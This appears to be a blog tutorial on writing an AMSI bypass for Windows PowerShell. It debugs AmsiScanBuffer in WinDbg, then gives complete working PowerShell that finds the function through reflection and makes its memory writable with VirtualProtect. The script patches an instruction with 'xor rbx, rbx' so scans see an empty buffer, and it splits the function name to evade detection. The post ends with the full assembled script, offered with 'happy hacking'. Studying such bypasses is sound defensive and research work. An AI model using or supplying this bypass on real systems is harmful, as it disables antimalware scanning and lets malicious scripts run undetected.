Creating your own AMSI Bypass using Powershell Reflection Technique

Introduction

Today I was reviewing one topic about AV Evasion and I was trying to understand how AMSI works and how we can interact with it.

As a quick introduction, AMSI is the The Windows Antimalware Scan Interface, a interface standard that allows the applications and services to integrate with some antimalware products that are present on a machine.

These are the Windows Components that today are integrated with AMSI:

  • User Account Control, or UAC (elevation of EXE, COM, MSI, or – ActiveX installation)
  • PowerShell (scripts, interactive use, and dynamic code evaluation)
  • Windows Script Host (wscript.exe and cscript.exe)
  • JavaScript and VBScript
  • Office VBA macros

Today I will try to bypass AMSI by using Powershell. This is how an AMSI block looks like:

AMSI Functions

The unmanaged dynamic link library AMSI.DLL is loaded into every PowerShell and PowerShell_ISE process and provides a number of exported functions.

We can see a complete list of these functions using dumpbin:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
dumpbin /exports amsi.dll
dumpbin /exports amsi.dll
dumpbin /exports amsi.dll

Reviewing AmsiBufferScan

My approach to implement a new AMSI bypass was to identify which ones are the registers where AMSI stores the string that is sending to the AV for being scanned.

To try to identify that, let’s load a powershell process in Windbg and setup a breakpoint in AmsiScanBuffer function:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
bp amsi!AmsiScanBuffer
bp amsi!AmsiScanBuffer
bp amsi!AmsiScanBuffer

Let’s write the string ‘amsiutils’ in the powershell command prompt:

Writing the ‘amsiutils’ (or any other) string we will reach the breakpoint, then if we look at the content of the register rbx, we will see the following:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
dc rbx
dc rbx
dc rbx

It seems that this register stores the string that is going to be scanned. So a good approach could be to delete the content of the register.

Implementing this idea using Powershell

Let’s analyze a little bit more the AmsiScanBuffer assembly instructions:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
amsi!AmsiScanBuffer L1A
amsi!AmsiScanBuffer L1A
amsi!AmsiScanBuffer L1A

After reviewing a bit the code I saw that the same string was placed in rbx and rcx, using the instruction:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
mov rbx, rcx
mov rbx, rcx
mov rbx, rcx

My approach was to try to modify that instruction to erase rbx instead. To do that we can use a simple XOR operation:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
xor rbx, rbx
xor rbx, rbx
xor rbx, rbx

Powershell Implementation

Here I’m going to start using parts of code that are well known, first of all I need to look for the AmsiScanBuffer function memory address, to do that I would do the following:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)), $functionName))
}
$xavi='Amsi'+'Scan'+'Buffer'
[IntPtr]$funcAddr = LookupFunc amsi.dll $xavi
function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp=@() $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)), $functionName)) } $xavi='Amsi'+'Scan'+'Buffer' [IntPtr]$funcAddr = LookupFunc amsi.dll $xavi
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)), $functionName))
}

$xavi='Amsi'+'Scan'+'Buffer'
[IntPtr]$funcAddr = LookupFunc amsi.dll $xavi

Now that we have identified the memory address, let’s verify that is the correct one using WinDBG:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
? 0n140718102202032
u 00007ffb`7c7ec6b0
? 0n140718102202032 u 00007ffb`7c7ec6b0
? 0n140718102202032
u 00007ffb`7c7ec6b0

I mark in red the instruction where we are, and in blue the instruction that we want to reach (and modify):

I calculated the offset using a hex calculator. It is 33.

So let’s save that memory address too using Powershell:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
$funcAddrLong = [Long]$funcAddr + 33
$funcAddr2 = [IntPtr]$funcAddrLong
$funcAddrLong = [Long]$funcAddr + 33 $funcAddr2 = [IntPtr]$funcAddrLong
$funcAddrLong = [Long]$funcAddr + 33
$funcAddr2 = [IntPtr]$funcAddrLong

I verify that the memory address is correct following the same process that I used before:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
? 0n140718102202065
? 0n140718102202065
? 0n140718102202065

And I confirm that we are at the point that we want:

Now we need to modify that instruction, but before being able to do that, we need to check what are the current memory protections for that address.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
!vprot 00007ffb`7c7ec6d1
!vprot 00007ffb`7c7ec6d1
!vprot 00007ffb`7c7ec6d1

We can’t write to that memory address, we need to change the PAGE_EXECUTE_READ to PAGE_EXECUTE_READWRITE.

We can use the following Powershell code to do that:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
function getDelegateType {
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void])
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr2, 3, 0x40, [ref]$oldProtectionBuffer)
function getDelegateType { Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void]) $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate]) $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') return $type.CreateType() } $oldProtectionBuffer = 0 $vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool]))) $vp.Invoke($funcAddr2, 3, 0x40, [ref]$oldProtectionBuffer)
function getDelegateType {
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void])
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}

$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr2, 3, 0x40, [ref]$oldProtectionBuffer)

We check again the memory protection and it changed correctly.

Now we need to modify the assembly instruction, but first we need the equivalent opcodes for the xor rbx, rbx instruction.
We can use the following webpage:
https://defuse.ca/online-x86-assembler.htm#disassembly

This is the instruction that we want to modify:

To do it we can use the following command:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
$buf = [Byte[]] (0x48, 0x31, 0xDB)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr2, 3)
$buf = [Byte[]] (0x48, 0x31, 0xDB) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr2, 3)
$buf = [Byte[]] (0x48, 0x31, 0xDB)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr2, 3)

I check it, and I can see the opcodes that I wrote:

The last step is to recover the initial memory protection:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
$vp.Invoke($funcAddr2, 3, 0x20, [ref]$oldProtectionBuffer)
$vp.Invoke($funcAddr2, 3, 0x20, [ref]$oldProtectionBuffer)
$vp.Invoke($funcAddr2, 3, 0x20, [ref]$oldProtectionBuffer)

We confirm that is not writeable anymore:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
!vprot 00007ffb`7c7ec6d1
!vprot 00007ffb`7c7ec6d1
!vprot 00007ffb`7c7ec6d1

That was the last step of the process.

Now we can finally confirm that the AMSI bypass worked correctly! 🙂

Here you can have the final code all together:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)), $functionName))
}
$xavi='Amsi'+'Scan'+'Buffer'
[IntPtr]$funcAddr = LookupFunc amsi.dll $xavi
$funcAddrLong = [Long]$funcAddr + 33
$funcAddr2 = [IntPtr]$funcAddrLong
function getDelegateType {
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void])
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr2, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0x48, 0x31, 0xDB)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr2, 3)
$vp.Invoke($funcAddr2, 3, 0x20, [ref]$oldProtectionBuffer)
function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp=@() $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)), $functionName)) } $xavi='Amsi'+'Scan'+'Buffer' [IntPtr]$funcAddr = LookupFunc amsi.dll $xavi $funcAddrLong = [Long]$funcAddr + 33 $funcAddr2 = [IntPtr]$funcAddrLong function getDelegateType { Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void]) $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate]) $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') return $type.CreateType() } $oldProtectionBuffer = 0 $vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool]))) $vp.Invoke($funcAddr2, 3, 0x40, [ref]$oldProtectionBuffer) $buf = [Byte[]] (0x48, 0x31, 0xDB) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr2, 3) $vp.Invoke($funcAddr2, 3, 0x20, [ref]$oldProtectionBuffer)
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)), $functionName))
}

$xavi='Amsi'+'Scan'+'Buffer'
[IntPtr]$funcAddr = LookupFunc amsi.dll $xavi

$funcAddrLong = [Long]$funcAddr + 33
$funcAddr2 = [IntPtr]$funcAddrLong

function getDelegateType {
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void])
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}

$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr2, 3, 0x40, [ref]$oldProtectionBuffer)

$buf = [Byte[]] (0x48, 0x31, 0xDB)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr2, 3)

$vp.Invoke($funcAddr2, 3, 0x20, [ref]$oldProtectionBuffer)

That’s all for today, have fun and happy hacking! 🙂

This entry was posted in Uncategorized and tagged , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *